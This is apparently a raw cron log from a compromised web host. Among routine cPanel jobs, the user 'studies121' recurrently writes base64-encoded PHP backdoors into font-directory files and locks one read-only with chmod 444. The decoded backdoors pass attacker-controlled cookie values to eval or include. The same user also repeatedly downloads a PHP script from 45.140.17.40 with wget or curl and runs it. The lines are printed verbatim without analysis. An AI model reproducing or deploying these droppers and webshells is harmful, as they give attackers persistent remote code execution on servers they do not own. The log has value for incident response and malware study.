Feb 22 21:33:01 ip-184-168-122-23 CROND[5418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:33:01 ip-184-168-122-23 CROND[5415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:33:01 ip-184-168-122-23 CROND[5416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:33:01 ip-184-168-122-23 CROND[5417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:34:01 ip-184-168-122-23 CROND[5800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:34:01 ip-184-168-122-23 CROND[5803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:34:01 ip-184-168-122-23 CROND[5802]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:34:01 ip-184-168-122-23 CROND[5804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:34:01 ip-184-168-122-23 CROND[5805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:35:01 ip-184-168-122-23 CROND[6128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:35:01 ip-184-168-122-23 CROND[6129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:35:01 ip-184-168-122-23 CROND[6134]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 21:35:01 ip-184-168-122-23 CROND[6136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:35:01 ip-184-168-122-23 CROND[6133]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 21:35:01 ip-184-168-122-23 CROND[6132]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 21:35:01 ip-184-168-122-23 CROND[6138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:35:01 ip-184-168-122-23 CROND[6137]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 21:36:01 ip-184-168-122-23 CROND[6479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:36:01 ip-184-168-122-23 CROND[6483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:36:01 ip-184-168-122-23 CROND[6482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:36:01 ip-184-168-122-23 CROND[6485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:36:01 ip-184-168-122-23 CROND[6484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:37:01 ip-184-168-122-23 CROND[6793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:37:01 ip-184-168-122-23 CROND[6795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:37:01 ip-184-168-122-23 CROND[6797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:37:01 ip-184-168-122-23 CROND[6798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:38:01 ip-184-168-122-23 CROND[7142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:38:01 ip-184-168-122-23 CROND[7144]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:38:01 ip-184-168-122-23 CROND[7146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:38:01 ip-184-168-122-23 CROND[7145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:38:01 ip-184-168-122-23 CROND[7147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:39:01 ip-184-168-122-23 CROND[7477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:39:01 ip-184-168-122-23 CROND[7480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:39:01 ip-184-168-122-23 CROND[7481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:39:01 ip-184-168-122-23 CROND[7479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:39:01 ip-184-168-122-23 CROND[7484]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 21:40:01 ip-184-168-122-23 CROND[7904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:40:01 ip-184-168-122-23 CROND[7910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 21:40:01 ip-184-168-122-23 CROND[7906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:40:01 ip-184-168-122-23 CROND[7909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 21:40:01 ip-184-168-122-23 CROND[7907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:40:01 ip-184-168-122-23 CROND[7911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:40:01 ip-184-168-122-23 CROND[7912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:40:01 ip-184-168-122-23 CROND[7908]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 21:41:01 ip-184-168-122-23 CROND[8269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:41:01 ip-184-168-122-23 CROND[8273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:41:01 ip-184-168-122-23 CROND[8271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:41:01 ip-184-168-122-23 CROND[8272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:42:01 ip-184-168-122-23 CROND[8598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:42:01 ip-184-168-122-23 CROND[8597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:42:01 ip-184-168-122-23 CROND[8599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:42:01 ip-184-168-122-23 CROND[8602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:42:01 ip-184-168-122-23 CROND[8596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:43:01 ip-184-168-122-23 CROND[8934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:43:01 ip-184-168-122-23 CROND[8933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:43:01 ip-184-168-122-23 CROND[8935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:43:01 ip-184-168-122-23 CROND[8937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:44:01 ip-184-168-122-23 CROND[9275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:44:01 ip-184-168-122-23 CROND[9279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:44:01 ip-184-168-122-23 CROND[9276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:44:01 ip-184-168-122-23 CROND[9277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:44:01 ip-184-168-122-23 CROND[9278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:45:01 ip-184-168-122-23 CROND[9690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
